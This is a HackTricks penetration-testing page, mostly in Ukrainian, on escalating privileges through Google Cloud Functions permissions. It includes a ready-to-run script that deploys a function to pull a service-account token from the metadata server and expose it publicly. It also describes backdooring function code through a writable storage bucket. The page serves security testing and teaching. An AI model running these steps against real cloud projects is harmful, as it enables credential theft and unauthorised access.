GCP - Cloudfunctions Privesc

Support HackTricks

cloudfunctions

Більше інформації про Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Зловмисник з цими привілеями може створити нову Cloud Function з довільним (шкідливим) кодом і призначити їй обліковий запис служби. Потім, витягнути токен облікового запису служби з метаданих, щоб підвищити привілеї до нього. Можливо, знадобляться деякі привілеї для активації функції.

Скрипти експлуатації для цього методу можна знайти тут і тут, а попередньо зібраний .zip файл можна знайти тут.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Зловмисник з цими привілеями може модифікувати код функції і навіть змінювати обліковий запис служби, що прикріплений з метою ексфільтрації токена.

Щоб розгорнути cloud functions, вам також знадобляться дозволи actAs над обліковим записом служби за замовчуванням для обчислень або над обліковим записом служби, який використовується для створення образу.

Деякі додаткові привілеї, такі як дозвіл .call для версії 1 cloudfunctions або роль role/run.invoker для активації функції можуть бути необхідні.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Якщо ви отримали помилку Permission 'run.services.setIamPolicy' denied on resource..., це означає, що ви використовуєте параметр --allow-unauthenticated і у вас недостатньо прав для цього.

Скрипт експлуатації для цього методу можна знайти тут.

cloudfunctions.functions.sourceCodeSet

З цією дозволом ви можете отримати підписане URL для завантаження файлу в кошик функції (але код функції не буде змінено, вам все ще потрібно його оновити)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Не зовсім впевнений, наскільки корисним є лише цей дозвіл з точки зору атакуючого, але добре знати.

cloudfunctions.functions.setIamPolicy, iam.serviceAccounts.actAs

Надайте собі будь-які з попередніх .update або .create привілеїв для ескалації.

cloudfunctions.functions.update

Маючи лише cloudfunctions дозволи, без iam.serviceAccounts.actAs ви не зможете оновити функцію, ТОМУ ЦЕ НЕ Є ДІЙСНИМ ПРИВІЛЕЄМ.

Доступ на читання та запис до бакету

Якщо у вас є доступ на читання та запис до бакету, ви можете моніторити зміни в коді, і коли відбувається оновлення в бакеті, ви можете оновити новий код своїм кодом, з яким нова версія Cloud Function буде запущена з поданим бекдором.

Ви можете дізнатися більше про атаку в:

GCP - Storage Privesc

Однак ви не можете використовувати це для попереднього компрометації сторонніх Cloud Functions, тому що якщо ви створите бакет у своєму обліковому записі та надасте йому публічні дозволи, щоб зовнішній проект міг записувати в нього, ви отримаєте наступну помилку:

Однак це може бути використано для DoS-атак.

Доступ на читання та запис до Artifact Registry

Коли створюється Cloud Function, новий образ docker завантажується до Artifact Registry проекту. Я намагався змінити образ на новий, і навіть видалити поточний образ (та образ cache), і нічого не змінилося, cloud function продовжує працювати. Тому, можливо, можливо зловживати атакою Race Condition як з бакетом, щоб змінити контейнер docker, який буде запущено, але просто зміна збереженого образу не можлива для компрометації Cloud Function.

Посилання

Підтримайте HackTricks

Last updated